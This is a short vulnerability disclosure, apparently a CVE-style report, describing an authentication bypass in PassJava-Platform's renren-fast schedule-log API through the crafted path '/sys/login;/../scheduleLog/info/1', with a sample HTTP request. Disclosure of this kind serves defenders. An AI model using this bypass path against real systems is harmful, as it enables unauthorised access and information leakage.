There is an Incorrect Access Control vulnerability in PassJava-Platform

[RacerZ-fighting]

[Suggested description]
PassJava-Platform renren-fast was found to have an Incorrect Access Control vulnerability up to 3.0.0, resulting in information leakage.

[Vulnerability Type]
Incorrect access control

[Vendor of Product]
https://github.com/Jackson0714/PassJava-Platform

[Affected Product Code Base]
all version (<= 3.0.0)

[Affected Component]
renren-fast /sys/scheduleLog/info API that require authentication

[Attack Type]
Remote

[Vulnerability details]
Directly send the payload below to the API /renren-fast/sys/scheduleLog/info/1 will fail because of the authentication.

POST /renren-fast/sys/scheduleLog/info/1 HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Apifox/1.0.0 (https://apifox.com)
Accept: */*
Host: 127.0.0.1:8080
Connection: keep-alive
Cookie: JSESSIONID=6A54110114F288E6F7FC6AC6C7D23772

However, send the payload below to the API /renren-fast/sys/login;/../scheduleLog/info/1 will bypass the authentication.